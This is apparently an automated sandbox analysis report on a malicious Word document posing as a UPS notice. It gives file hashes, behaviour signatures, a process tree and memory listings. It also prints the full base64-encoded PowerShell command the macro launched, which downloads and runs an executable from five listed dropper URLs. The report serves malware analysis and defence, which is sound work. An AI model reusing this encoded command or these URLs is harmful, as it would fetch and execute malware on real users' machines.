Analysis

  • max time kernel
    138s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-05-2024 06:33

General

  • Target

    UPS-6GWU3RUKCVR04B.doc

  • Size

    161KB

  • MD5

    3a864f7c64c77a701b9aec3dbcb4389f

  • SHA1

    1a1cfdbbded9a84be91aac5064a21c591710049c

  • SHA256

    46946372c81802503f01b6d9739fd4dd9fe39225973c8b9c22ef625666d48deb

  • SHA512

    9d602204fdbb18243c1aa28a293618aa588406a593f949807e30f8b4d20e95b94582687b251b86a10edb9625f7cca89dd8def77cdb86af0acb8300ec08a6d9ac

  • SSDEEP

    3072:w77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qvIlc5hlPOwy7/FswxoLL5R:w77HUUUUUUUUUUUUUUUUUUUT52VJcPlv

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://kompy.cba.pl/gif/lN_dl/

exe.dropper

http://fisiobianchini.com.br/wp-content/uploads/2016/05/S_U/

exe.dropper

http://dev.dimatech.org/wp-admin/Hu_jj/

exe.dropper

http://juangrela.com/admin/bB_m/

exe.dropper

http://coupedecheveux.org/yu71t1x/c_V/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\UPS-6GWU3RUKCVR04B.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:5000
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABBAFoAQwBBAEQANABaAD0AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAEEAJwAsACcATABBADQARABBAEIAJwApADsAJABvAEEAQQBrAGMAdwBHAG8APQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgACgAJwBOAGUAdAAuAFcAZQBiAEMAbABpACcAKwAnAGUAbgAnACsAJwB0ACcAKQA7ACQAaQBrAEIAQgBDAEEAeAA9ACgAIgB7ADEAOQB9AHsAOQB9AHsANQB9AHsAMQB9AHsAMQA0AH0AewA3AH0AewAxADUAfQB7ADIAMgB9AHsAMQA3AH0AewAzADUAfQB7ADMAMgB9AHsAMQAxAH0AewAyADQAfQB7ADEANgB9AHsAMgA4AH0AewAyADYAfQB7ADMAMwB9AHsANgB9AHsAMgAxAH0AewAyADUAfQB7ADQAfQB7ADEAMgB9AHsAMgA3AH0AewAzAH0AewAxADAAfQB7ADMAMAB9AHsAMgB9AHsAOAB9AHsAMwA0AH0AewAxADgAfQB7ADMAMQB9AHsAMAB9AHsAMQAzAH0AewAyADAAfQB7ADIAOQB9AHsAMgAzAH0AIgAtAGYAIAAnAGUAZAAnACwAJwBrAG8AbQBwAHkALgAnACwAJwBjAG8AbQAvAGEAJwAsACcAOgAvAC8AJwAsACcAaQBtAGEAdABlAGMAaAAnACwAJwAvAC8AJwAsACcALwBTAF8AVQAvAEAAaAB0AHQAcAAnACwAJwAvAGcAaQBmACcALAAnAGQAbQBpACcALAAnAHAAOgAnACwAJwBqAHUAYQBuAGcAJwAsACcAbgAnACwAJwAuACcALAAnAGUAYwBoAGUAdgAnACwAJwBjAGIAYQAuAHAAbAAnACwAJwAvAGwATgAnACwAJwBoAGkAbgBpAC4AYwBvAG0AJwAsACcAbAAvACcALAAnAF8AbQAvAEAAaAB0AHQAcAA6ACcALAAnAGgAdAB0ACcALAAnAGUAdQB4AC4AbwByACcALAAnADoALwAvAGQAZQB2AC4AJwAsACcAXwBkACcALAAnAC8AeQB1ADcAMQB0ADEAeAAvAGMAXwBWAC8AJwAsACcAYwAnACwAJwBkACcALAAnAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvADIAJwAsACcAbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwBIAHUAXwBqAGoALwBAAGgAdAB0AHAAJwAsACcALgBiAHIALwB3AHAALQBjACcALAAnAGcAJwAsACcAcgBlAGwAYQAuACcALAAnAC8ALwBjAG8AdQBwACcALAAnADoALwAvAGYAaQBzAGkAbwBiAGkAYQAnACwAJwAwADEANgAvADAANQAnACwAJwBuAC8AYgBCACcALAAnAEAAaAB0AHQAcAAnACkALgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAaQB0ACcALAAnAFMAcABsACcAKQAuAEkAbgB2AG8AawBlACgAJwBAACcAKQA7ACQAbwBBAFoAWABRAEEAQgAxAD0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBBAEMAJwAsACcAQQBBAEEAQQAnACwAJwBjACcAKQA7ACQARQBvAFUAeABRAG8AIAA9ACAAJwA2ADYAMAAnADsAJABvADQAVQBvADEARABaAD0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAEEARwBCACcALAAnAEEARABDAEEAJwAsACcAUQAnACkAOwAkAEwAWABEAEEAMQBBAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABFAG8AVQB4AFEAbwArACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcALgAnACwAJwBlAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABSAF8AQQBfAEEARABBAFoAIABpAG4AIAAkAGkAawBCAEIAQwBBAHgAKQB7AHQAcgB5AHsAJABvAEEAQQBrAGMAdwBHAG8ALgAoACIAewAxAH0AewAzAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcAbABlACcALAAnAEQAbwB3ACcALAAnAGEAZABGAGkAJwAsACcAbgBsAG8AJwApAC4ASQBuAHYAbwBrAGUAKAAkAFIAXwBBAF8AQQBEAEEAWgAsACAAJABMAFgARABBADEAQQApADsAJABCAG8ARABHAHgAQQBBAEEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAIAAnAEEAQQAnACwAJwBRAEEAWABBACcALAAnAEMAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEwAWABEAEEAMQBBACkALgAiAGwAZQBOAGAAZwBgAFQAaAAiACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQATABYAEQAQQAxAEEAOwAkAHYAQQBVAEEAWgBBAEEAPQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAFoAVQBRADQAJwAsACcASABBADEAQQAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAagB3AEMAQQBrAEEAXwBBAD0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBEADEAJwAsACcAQQBaACcALAAnAGgAQQBBACcAKQA7AA==
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:624

Network

MITRE ATT&CK Matrix ATT&CK v13

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD72C7.tmp\iso690.xsl
    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gvmjiqh2.muq.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/624-41-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/624-543-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/624-42-0x000001F1E86C0000-0x000001F1E86E2000-memory.dmp
    Filesize

    136KB

  • memory/5000-9-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-30-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-6-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-7-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-2-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp
    Filesize

    64KB

  • memory/5000-11-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-10-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-12-0x00007FF819B70000-0x00007FF819B80000-memory.dmp
    Filesize

    64KB

  • memory/5000-13-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-14-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-15-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-16-0x00007FF819B70000-0x00007FF819B80000-memory.dmp
    Filesize

    64KB

  • memory/5000-19-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-18-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-17-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-8-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-31-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-40-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-5-0x00007FF85BFAD000-0x00007FF85BFAE000-memory.dmp
    Filesize

    4KB

  • memory/5000-4-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp
    Filesize

    64KB

  • memory/5000-0-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp
    Filesize

    64KB

  • memory/5000-60-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-3-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp
    Filesize

    64KB

  • memory/5000-538-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-539-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-540-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB

  • memory/5000-1-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp
    Filesize

    64KB

  • memory/5000-565-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp
    Filesize

    64KB

  • memory/5000-564-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp
    Filesize

    64KB

  • memory/5000-567-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp
    Filesize

    64KB

  • memory/5000-566-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp
    Filesize

    64KB

  • memory/5000-568-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp
    Filesize

    2.0MB